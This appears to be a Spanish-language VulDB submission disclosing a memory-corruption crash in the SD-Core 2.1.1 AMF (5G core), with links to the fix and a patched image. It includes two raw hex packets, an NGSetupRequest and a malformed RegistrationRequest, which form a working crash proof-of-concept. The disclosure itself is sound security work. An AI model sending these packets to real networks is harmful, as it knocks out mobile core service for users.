| Título | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Descripción | AMF crashes if a registration request with invalid SUCI format is sent. It crashes on converting it to valid MobileIdentity.
Packet 1: Send NGSetupRequest
00 15 00 33 00 00 05 00 1B 00 08 00 00 F1 10 00 00 06 6C 00 52 40 05 01 00 52 41 4E 00 66 00 0D 00 00 00 00 07 00 00 F1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00
Packet 2: Send RegistrationRequest (InitialUEMessage)
00 0F 40 63 00 00 05 00 55 00 02 00 01 00 26 00 39 38 7E 00 41 79 00 08 01 02 F8 39 00 00 00 00 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 00 79 00 0F 40 00 F1 10 00 00 00 00 00 00 F1 10 00 00 07 00 5A 40 01 18 00 70 40 01 00
Developers have acknowledged and fixed.
Fix Pull Request:
https://github.com/omec-project/amf/pull/666
Fixed image:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
|
|---|
| Fuente | ⚠️ https://github.com/omec-project/amf/issues/679 |
|---|
| Usuario | shovon0203 (UID 96191) |
|---|
| Sumisión | 2026-04-24 03:06 (hace 1 mes) |
|---|
| Moderación | 2026-05-22 19:45 (29 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 365247 [omec-project amf hasta 2.1.1 NGSetupRequest desbordamiento de búfer] |
|---|
| Puntos | 20 |
|---|